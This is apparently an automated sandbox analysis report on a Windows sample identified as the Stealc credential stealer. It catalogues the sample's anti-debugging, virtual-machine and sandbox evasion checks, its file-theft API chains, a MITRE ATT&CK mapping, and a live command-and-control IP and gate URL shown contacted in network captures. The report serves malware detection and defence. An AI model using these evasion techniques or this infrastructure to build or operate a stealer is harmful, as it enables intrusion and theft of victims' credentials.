Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F04EA second address: 54F051C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0DED622D88h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F051C second address: 54F0520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0520 second address: 54F0526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0526 second address: 54F052C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F052C second address: 54F0530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F056B second address: 54F0571 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0571 second address: 54F0575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0575 second address: 54F05AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F0DECD24174h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F0DECD24170h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F05AD second address: 54F05CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11244CB second address: 11244EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24177h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124874 second address: 1124891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DED622D89h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe

Special instruction interceptor: First address: F6D94E instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Evaded block: after key decision

graph_0-39030

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C940F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00C940F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00C8E530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C947C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00C947C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C8F7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C81710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C81710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00C8DB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C94B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C94B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C93B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00C93B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00C8BE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00C8EE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C8DF10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C81160 GetSystemInfo,ExitProcess,

0_2_00C81160

Source: file.exe, file.exe, 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2103784412.0000000001582000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;<
Source: file.exe, 00000000.00000002.2103784412.0000000001554000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2103784412.0000000001595000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2103784412.000000000150E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37842
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37845
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37857
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37861
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37897
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37731

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C84610 VirtualProtect ?,00000004,00000100,00000000

0_2_00C84610

Source: C:\Users\user\Desktop\file.exe

0_2_00C99BB0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C99AA0 mov eax, dword ptr fs:[00000030h]

0_2_00C99AA0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C97690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,

0_2_00C97690

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3624, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C99790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00C99790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C998E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_00C998E0

Source: file.exe, file.exe, 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CC7588 cpuid

0_2_00CC7588

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00C97D20

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C96BC0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00C96BC0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C979E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00C979E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C97BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00C97BC0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2103784412.000000000150E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2061051331.0000000005370000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3624, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2103784412.000000000150E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2061051331.0000000005370000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3624, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	334 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.php	true		unknown
http://185.215.113.206/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/405117-2476756634-1003	file.exe, 00000000.00000002.2103784412.0000000001554000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php/	file.exe, 00000000.00000002.2103784412.0000000001569000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2103784412.0000000001582000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php_	file.exe, 00000000.00000002.2103784412.0000000001569000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206	file.exe, 00000000.00000002.2103784412.000000000150E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.206/~gq	file.exe, 00000000.00000002.2103784412.000000000150E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/ws	file.exe, 00000000.00000002.2103784412.0000000001582000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/$	file.exe, 00000000.00000002.2103784412.0000000001582000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2061051331.000000000539B000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544876
Start date and time:	2024-10-29 20:42:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 128
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9606922425137245
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'127'360 bytes
MD5:	264daa04defc6b3cb7cd8b682db05acd
SHA1:	10f55121d698817f1960530cbec2bd1da8564a8d
SHA256:	4a39c54963c15bf5b9388247e2a83ca5bbb1b69ca3e016ad75c8cea50a99a43a
SHA512:	d994b1e7db132e7cff596e977badcd5a57ca28c81360d6a5452bce1b66f6d0358a029555f5612fb8363ded8d6ca37e8e96cd43a89e45e1ed4dbef8f112c8159f
SSDEEP:	49152:bor8zruyLK/n+IzUoAeFBe2L0eN0xvVswI2fwhE+tLs+coR0qGPJ:8yO+IzUsBtL0HVs7rtY+coR0qGPJ
TLSH:	E3A5336BFB5E446DD88AE2BEE41BC9B97DA13E76474BA960BF4005351C1772013223F8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb2a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0DECBC2DEAh
andps xmm4, dqword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	ebc39c9b19a6f4207044c9414823c532	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2a2000	0x200	6e47e0a01680733defa007962e82a363	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
iuotgoma	0x58c000	0x19d000	0x19c600	b7130feff10f6be0ec89426944c56111	False	0.9950269020915429	data	7.954742797276652	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ujumrvwn	0x729000	0x1000	0x400	cad865f7c5c294089cbc1665a24933be	False	0.787109375	data	6.182343172420204	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x72a000	0x3000	0x2200	708f37411032fa6ebb0fabf06e54f985	False	0.06284466911764706	DOS executable (COM)	0.7785209813110858	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T20:43:17.658007+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 20:43:16.445331097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:43:16.452004910 CET	80	49704	185.215.113.206	192.168.2.5
